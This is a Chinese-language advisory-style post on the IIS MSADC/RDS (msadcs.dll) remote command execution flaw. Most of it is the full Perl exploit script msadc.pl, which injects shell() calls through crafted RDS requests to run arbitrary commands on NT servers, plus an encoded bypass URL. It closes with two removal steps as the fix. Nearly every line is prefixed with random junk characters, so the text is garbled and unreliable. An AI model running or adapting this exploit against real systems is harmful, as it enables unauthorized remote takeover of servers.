IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Wcbb3N$+ 94Z~]C 涉及程序：
: -OHD#>% Microsoft NT server
bEbnZ<kz* !9B)/X i 描述：
`z F=h#i 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
OPar"z^EV q m2 详细：
dF"Sz4DY# 如果你没有时间读详细内容的话，就删除:
5TqX;=B c:\Program Files\Common Files\System\Msadc\msadcs.dll
~nw]q<7r 有关的安全问题就没有了。
/_v@YB!0 D3$}S{Yw1 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
El ,p }Bi. M(xd:Fa? 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
+c?1\{M 关于利用ODBC远程漏洞的描述，请参看:
XDU&Z2A {2A/ @$? http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z>~Hc8*]3 ?Yxk1Y4ig) 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
jT%k{"+>+? http://www.microsoft.com/security/bulletins/MS99-025faq.asp i!9yN: m0 K[O'@v 这里不再论述。
>J+hu;I5 )=#QTiJ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
?J|~ G{yH k1W
q$KCwG /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
iXeywO2nP 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
zmF_-Q`c YvR MUT
Gz@'W%6yaV #将下面这段保存为txt文件，然后: "perl -x 文件名"
$3k5hDA0e "*a^_tsT?i #!perl
/2 ')u| #
gq!| 0 # MSADC/RDS 'usage' (aka exploit) script
4gzr xV #
j' g': U # by rain.forest.puppy
> -OQk"o #
#} 3$n/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
WbB0{s # beta test and find errors!
+Ccj @#M; 6"b =aPTi use Socket; use Getopt::Std;
@#xh)"} getopts("e:vd:h:XR", \%args);
A46Xei:Ow f
0D9Mp print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
_ 7X0 k%Jv%m}aB if (!defined $args{h} && !defined $args{R}) {
Mt"j< ]EW print qq~
C;QIp6"1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
0x*L"HD -h <host> = host you want to scan (ip or domain)
_gxI=EYi -d <seconds> = delay between calls, default 1 second
_Gv n1"l -X = dump Index Server path table, if available
|5^ tp -v = verbose
1--_E,Su> -e = external dictionary file for step 5
x8+W9i0[1 v@(Y:\> Or a -R will resume a command session
,onOwPz fL>>hBCqC ~; exit;}
fO|oV0Rw )5Mf, $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[9Q}e;T if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
v2][gn+58 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
WW\t<O;z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
k` cz$ > $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:+: vBrJm if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
eD2u!OKW! D-J G0.@ if (!defined $args{R}){ $ret = &has_msadc;
=^#^Mq) die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
b ;A(6^ V u czOS d print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'[g@A>xDvW . "cmd /c ";
RsU!mYs:H $in=<STDIN>; chomp $in;
qVjl8%) $command="cmd /c " . $in ;
.93B@u 2j*;1 if (defined $args{R}) {&load; exit;}
d[eN#< EFS ln*| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*uoc;6 &try_btcustmr;
OiAP%7i9 * c 9/ I print "\nStep 2: Trying to make our own DSN...";
ruiAEC<Ej &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
pu3ly&T#a_ :!Ea .v print "\nStep 3: Trying known DSNs...";
p}I ,!~}
&known_dsn;
d)d\h`=Z {kVhht]X print "\nStep 4: Trying known .mdbs...";
S &N[@G &known_mdb;
VjsQy>5m U (*k:Fw if (defined $args{e}){
x=] PE}<E print "\nStep 5: Trying dictionary of DSN names...";
2?J[D7 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
T-S6`^_L anxZ|DE print "Sorry Charley...maybe next time?\n";
#4?Z|_j3 exit;
RH e'L36W !A@Ft}FB ##############################################################################
jr, j1K@_t OcW y#,uC
sub sendraw { # ripped and modded from whisker
t{A/Lq9AM sleep($delay); # it's a DoS on the server! At least on mine...
lM/)< I\8 my ($pstr)=@_;
Ni bOtIZ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
, z8<[Q-# die("Socket problems\n");
vK@t=d if(connect(S,pack "SnA4x8",2,80,$target)){
:56f select(S); $|=1;
Ut|G.%1Vd% print $pstr; my @in=<S>;
-SO`wL NV select(STDOUT); close(S);
]m&cVy& return @in;
k?[|8H ~2C } else { die("Can't connect...\n"); }}
"eRf3Q7w: *|97 g*G( ##############################################################################
fZ8at z ;fi sub make_header { # make the HTTP request
/8](M5X]f my $msadc=<<EOT
5BWO7F0v" POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
v uP.V# User-Agent: ACTIVEDATA
SI-G7e)3;> Host: $ip
H!uB&qY Content-Length: $clen
'a1%`rzm Connection: Keep-Alive
VkKq<`t< LNm{}V J% ADCClientVersion:01.06
#*r u* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
L&*/ s&>b --X1oC52A --!ADM!ROX!YOUR!WORLD!
#I]5)XT Content-Type: application/x-varg
.~ >Uh3S Content-Length: $reqlen
AC'$~4 9j6# #@{ EOT
! >olD_ ; $msadc=~s/\n/\r\n/g;
B6| g2Tt return $msadc;}
X }UR\8g =6o,{taZ.~ ##############################################################################
_@-D/g pz L !42 sub make_req { # make the RDS request
ctqXzM ` my ($switch, $p1, $p2)=@_;
_h K83s4 my $req=""; my $t1, $t2, $query, $dsn;
U2~7qC,!Do #a : W if ($switch==1){ # this is the btcustmr.mdb query
Nhq & Sn2 $query="Select * from Customers where City=" . make_shell();
g A`x-` $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
N^u,C$zP9C $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
dM|&Y6 7*D*nY4+ elsif ($switch==2){ # this is general make table query
MJxTzQE $query="create table AZZ (B int, C varchar(10))";
*cNqgw#\qL $dsn="$p1";}
*C>B-j$ Ry5/O?Q L elsif ($switch==3){ # this is general exploit table query
`F) Q= $query="select * from AZZ where C=" . make_shell();
eYJ6&).F $dsn="$p1";}
Y%1 J[W 3>jL7sh%| elsif ($switch==4){ # attempt to hork file info from index server
A$w0+&*= $query="select path from scope()";
_!m_s5{ $dsn="Provider=MSIDXS;";}
N9lCbtn(0x j 9sK P]w elsif ($switch==5){ # bad query
?hW ?w$C $query="select";
IO, kGUS $dsn="$p1";}
i Eh
- >%v w(pt $t1= make_unicode($query);
T!GX^nn*O $t2= make_unicode($dsn);
Z33&FUU $req = "\x02\x00\x03\x00";
7.G1Q]6/ $req.= "\x08\x00" . pack ("S1", length($t1));
f{]eb1 $req.= "\x00\x00" . $t1 ;
Km)5;BQxg $req.= "\x08\x00" . pack ("S1", length($t2));
G'*_7HD $req.= "\x00\x00" . $t2 ;
zP[_ccW@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_3G;-iNX; return $req;}
m %mA0r
d~ lB4 ##############################################################################
BC/oh+FW3 % FN3/iM sub make_shell { # this makes the shell() statement
t6zc$0-j " return "'|shell(\"$command\")|'";}
*""JE'wG \M@9#bd ##############################################################################
@ P[ o N{lj"C]L sub make_unicode { # quick little function to convert to unicode
/hC[>t< my ($in)=@_; my $out;
jQrj3b.NC3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
8|\0\Wd;vu return $out;}
ct,Iu+HJ m5m'ByX(* ##############################################################################
Y5J}*`[Mr ,d^ze = sub rdo_success { # checks for RDO return success (this is kludge)
&3jq'@6 my (@in) = @_; my $base=content_start(@in);
^>?E1J3u if($in[$base]=~/multipart\/mixed/){
s|/m}n return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z0XH`H |~ return 0;}
"X\|!Mxh X)-9u 8 ##############################################################################
.I6:iB }7`HJ>+m)H sub make_dsn { # this makes a DSN for us
H<^*V8J 'w my @drives=("c","d","e","f");
41pk )8~pt print "\nMaking DSN: ";
l ~f> ve| foreach $drive (@drives) {
BE&P/~(C print "$drive: ";
I=N;F 6 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
bu;3Ib3\ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
XDtr{r6z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
d+
LEi^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
:'\4%D=w return 0 if $2 eq "404"; # not found/doesn't exist
w&A &BE^O/ if($2 eq "200") {
^qs{Cf$ foreach $line (@results) {
)X8?m < cG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3ug|H } return 0;}
W%/lBkP ! 11x&Db ##############################################################################
y:FxX8S$'e ER z@o_ sub verify_exists {
w"- ' my ($page)=@_;
q\P HA my @results=sendraw("GET $page HTTP/1.0\n\n");
DXbzl
+R return $results[0];}
_h@s)" Hh/Z4`&yi ##############################################################################
5if4eitS ?DN4j!/$ sub try_btcustmr {
e ]@Ex my @drives=("c","d","e","f");
(}$ ~)f#s my @dirs=("winnt","winnt35","winnt351","win","windows");
6mawcK:7 qDOJ;> I foreach $dir (@dirs) {
2u0dn?9\ print "$dir -> "; # fun status so you can see progress
C'iJFf gR foreach $drive (@drives) {
(9;qV :0` print "$drive: "; # ditto
.EOHkhn $reqlen=length( make_req(1,$drive,$dir) ) - 28;
XHKVs $reqlenlen=length( "$reqlen" );
(kECV8)2 $clen= 206 + $reqlenlen + $reqlen;
ZBDEE+8e (<u3<40[YN my @results=sendraw(make_header() . make_req(1,$drive,$dir));
vV2px if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
aFI?^"L else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O@.afk"{ nm[ yp3B ##############################################################################
# #%R|P3 R]oi&"H@r) sub odbc_error {
Q?Au.q], my (@in)=@_; my $base;
l\vvM>#S my $base = content_start(@in);
AR<'Airi: if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"IOu$? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j( *;W}*^ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z0@)@4z! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
In-W, return $in[$base+4].$in[$base+5].$in[$base+6];}
V;b^b5yZ> print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_g%Wx?K9 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
T>"GH M $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ek!$Ary 4r@dV%:%< ##############################################################################
\O]1QM94Y <K8$00lm sub verbose {
` ,B&oV> my ($in)=@_;
kg2?I L return if !$verbose;
4o: print STDOUT "\n$in\n";}
8&AH u bLx70$ ##############################################################################
GN36 :>VWb
sFR'y. sub save {
8[\(*E}d!X my ($p1, $p2, $p3, $p4)=@_;
l)PEg PSRV open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+6vm4(3? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9]Q\Pr\Ub$ close OUT;}
QOG
S`
fh 7\'ow|)}v ##############################################################################
IN? A`A 97H2hYw9l sub load {
#
;,b4O7@ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_IAvFJI open(IN,"<rds.save") || die("Couldn't open rds.save\n");
S9sFC!s1g @p=<IN>; close(IN);
R5QSf+/T4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
l8n}&zX $target= inet_aton($ip) || die("inet_aton problems");
Z%*_kk print "Resuming to $ip ...";
(n&Hjz,Fv $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
b"Hg4i ) if($p[1]==1) {
$qN+BKd]3 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
cJ 5":^O $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
i!/V wGg my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
C[j'0@~V:B if (rdo_success(@results)){print "Success!\n";}
*+p9u 1B5 else { print "failed\n"; verbose(odbc_error(@results));}}
;SBM7fwRk elsif ($p[1]==3){
@Q"%a`mKH if(run_query("$p[3]")){
^s@?\v print "Success!\n";} else { print "failed\n"; }}
~l x5RTkp elsif ($p[1]==4){
C 9-90,
if(run_query($drvst . "$p[3]")){
S.o@95M
print "Success!\n"; } else { print "failed\n"; }}
z3IQPl^ exit;}
a X= `sZ /'R6 ##############################################################################
jW6~^>S q#v&&]N= sub create_table {
~o:lh], ~ my ($in)=@_;
xUYUO yV $reqlen=length( make_req(2,$in,"") ) - 28;
r4}:t$ $reqlenlen=length( "$reqlen" );
;{]%ceetcu $clen= 206 + $reqlenlen + $reqlen;
P ;>8S:8
my @results=sendraw(make_header() . make_req(2,$in,""));
V Iof4?i return 1 if rdo_success(@results);
C\7q AR\ my $temp= odbc_error(@results); verbose($temp);
cdL$T6y return 1 if $temp=~/Table 'AZZ' already exists/;
EP#3+B sH return 0;}
HYgq@47$[ GgH=w`;_ ##############################################################################
]Mv.Rul?~ w <
p sub known_dsn {
&6/ #
O # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
xz dq E my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
iMnp `:* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
CT6Ca, "banner", "banners", "ads", "ADCDemo", "ADCTest");
WU-.lg'c' kV7c\|N9 foreach $dSn (@dsns) {
i(q%EMf print ".";
H*_:IfI! next if (!is_access("DSN=$dSn"));
#uNQ+US0 if(create_table("DSN=$dSn")){
a; AvY O print "$dSn successful\n";
} Vw"7 if(run_query("DSN=$dSn")){
IfoeHAWX
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BH0@WG7F print "Something's borked. Use verbose next time\n";}}} print "\n";}
\AOVdnM: vJkY ##############################################################################
dBY,&=T4p P j_2y)^? sub is_access {
,.u7([SGm my ($in)=@_;
s OD>mc#%Y $reqlen=length( make_req(5,$in,"") ) - 28;
_yT Gv- $reqlenlen=length( "$reqlen" );
' } rUbJo $clen= 206 + $reqlenlen + $reqlen;
8D
e Rs# my @results=sendraw(make_header() . make_req(5,$in,""));
e:IUO1# my $temp= odbc_error(@results);
=!_e(J verbose($temp); return 1 if ($temp=~/Microsoft Access/);
lz X0B&: return 0;}
f >nj9 a5 r8XY" < ##############################################################################
4os7tx U/E M(y sub run_query {
Ch607 i= my ($in)=@_;
AW@ I, $reqlen=length( make_req(3,$in,"") ) - 28;
W?8 |h $reqlenlen=length( "$reqlen" );
G S-@drZp_ $clen= 206 + $reqlenlen + $reqlen;
UJ1Ui'a(!! my @results=sendraw(make_header() . make_req(3,$in,""));
D0,U2d return 1 if rdo_success(@results);
hVRpk0IJDK my $temp= odbc_error(@results); verbose($temp);
#KZ6S9>@ return 0;}
Ji SJi? h Kb-l`KO ##############################################################################
me@4lHBR 4w0 &f sub known_mdb {
vBCQ-l<Ub my @drives=("c","d","e","f","g");
W[A;VOj0$ my @dirs=("winnt","winnt35","winnt351","win","windows");
fB[I1Z my $dir, $drive, $mdb;
vINm2%*zJ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$trvNbco ]ERPWW;^ # this is sparse, because I don't know of many
Ia:n<sZU my @sysmdbs=( "\\catroot\\icatalog.mdb",
$x]'6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
[;II2[5 , "\\system32\\certmdb.mdb",
]V J$;v'{[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3dNOXk, # 6=2M[ T my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ww VK15t "\\cfusion\\cfapps\\forums\\forums_.mdb",
',nGH|K. "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
;1}~(I#Y "\\cfusion\\cfapps\\security\\realm_.mdb",
qsXK4` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
jdV E/5 "\\cfusion\\database\\cfexamples.mdb",
!"B0z+O> "\\cfusion\\database\\cfsnippets.mdb",
h 9c54Ux "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Iz ^~=yV) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
>5)E\4r- "\\cfusion\\brighttiger\\database\\cleam.mdb",
A!&p,KfT5+ "\\cfusion\\database\\smpolicy.mdb",
2MmqGB}YcW "\\cfusion\\database\cypress.mdb",
&Cp)\` [y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"ZF:}y "\\website\\cgi-win\\dbsample.mdb",
! %r5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
j?4k{?x "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ext`%$ U7 ); #these are just
l'T3RC,\ foreach $drive (@drives) {
oEvXZ;F@. foreach $dir (@dirs){
Q Pg M<ns foreach $mdb (@sysmdbs) {
.BJ; } print ".";
a c6Lv}w_ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
=ZjF5,@ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
x3O$eKy\|5 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
@U'I_` LL print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
H c wqVU } else { print "Something's borked. Use verbose next time\n"; }}}}}
%,$/wh)<V qQ[& FjTO` foreach $drive (@drives) {
(1gf b*L foreach $mdb (@mdbs) {
si,fs%D& print ".";
3{ i'8 if(create_table($drv . $drive . $dir . $mdb)){
+[Nc ";Oy print "\n" . $drive . $dir . $mdb . " successful\n";
qT^R> p if(run_query($drv . $drive . $dir . $mdb)){
t a _ ! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
jSp4eq } else { print "Something's borked. Use verbose next time\n"; }}}}
d:} a FP[ }
/10 I}3D \ Fj$^I>C ##############################################################################
lDd+.44V: fgYdKv8 sub hork_idx {
ST1PSuC~ print "\nAttempting to dump Index Server tables...\n";
_x_om#~n print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
EaGh`*"w(7 $reqlen=length( make_req(4,"","") ) - 28;
szN`"Yi){ $reqlenlen=length( "$reqlen" );
+xMK.*H]W $clen= 206 + $reqlenlen + $reqlen;
6
?F F !x my @results=sendraw2(make_header() . make_req(4,"",""));
9cud CF if (rdo_success(@results)){
zz3Rld!b[ my $max=@results; my $c; my %d;
_3- nw for($c=19; $c<$max; $c++){
V6Ie\+ @.\ $results[$c]=~s/\x00//g;
U`sybtuBP' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
5xL%HX[S $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5CH9m[S $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#jn6DL@[{ $d{"$1$2"}="";}
Lw<?e; foreach $c (keys %d){ print "$c\n"; }
w?]k $ } else {print "Index server doesn't seem to be installed.\n"; }}
%4? `J \1t
K{ ##############################################################################
Q]Q] k j2 VqV6)6 sub dsn_dict {
'>-
C!\t open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0<75G6wd while(<IN>){
,\ zp&P"p $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
+"rZ< i next if (!is_access("DSN=$dSn"));
LM }0QL
m? if(create_table("DSN=$dSn")){
*&{M , print "$dSn successful\n";
eU?SLIof[{ if(run_query("DSN=$dSn")){
gE'b.04Y9i print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.w2X24Mmb print "Something's borked. Use verbose next time\n";}}}
_!6~o> print "\n"; close(IN);}
OnFx8r:q@% R}7>*&S: ##############################################################################
289teU ?XO$ 9J sub sendraw2 { # ripped and modded from whisker
I_N(e|s\U sleep($delay); # it's a DoS on the server! At least on mine...
fvccut;K my ($pstr)=@_;
7JNhCOBB socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W#!![ JD c die("Socket problems\n");
-I4-K%%B` if(connect(S,pack "SnA4x8",2,80,$target)){
}
<; y, 4f print "Connected. Getting data";
,9Y {x open(OUT,">raw.out"); my @in;
*kE2d{h^=C select(S); $|=1; print $pstr;
pv8"E?9,k while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
,!U 5; close(OUT); select(STDOUT); close(S); return @in;
i 2`i 5&* } else { die("Can't connect...\n"); }}
1V(tt{ ; =.VKW%U ##############################################################################
E&r*[; $ e#]= -^ sub content_start { # this will take in the server headers
](c[D9I!8 my (@in)=@_; my $c;
SOQm>\U' i for ($c=1;$c<500;$c++) {
8 St`,Tq) if($in[$c] =~/^\x0d\x0a/){
~jMdM~} if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
wZN<Og +; else { return $c+1; }}}
lSU&Yq x return -1;} # it should never get here actually
~t\Hb8o BoJ@bOe# ##############################################################################
3{B`[$ Iu`e QG sub funky {
TMZg GUn my (@in)=@_; my $error=odbc_error(@in);
4KF
1vw if($error=~/ADO could not find the specified provider/){
99 /fI print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?r C^@) exit;}
j z(}P8 if($error=~/A Handler is required/){
NMb`d0;( print "\nServer has custom handler filters (they most likely are patched)\n";
"pTyQT9P exit;}
" Wd?U[[ if($error=~/specified Handler has denied Access/){
C'3/B)u}l print "\nServer has custom handler filters (they most likely are patched)\n";
tAH,3Sz( / exit;}}
N6H/J_: NFTEp0eP ##############################################################################
:9!? ${4R zn|~{9>y sub has_msadc {
{:M5t1^UC my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
`vWFTv my $base=content_start(@results);
xq1 =O
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
u1 d{|fF return 0;}
|Q2H^dU'rQ )P>Cx zs ########################
I4
d S,h bJ8G5QU O.4ty)* 解决方案：
(m|w&oA/ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
SA s wP 2、移除web 目录: /msadc
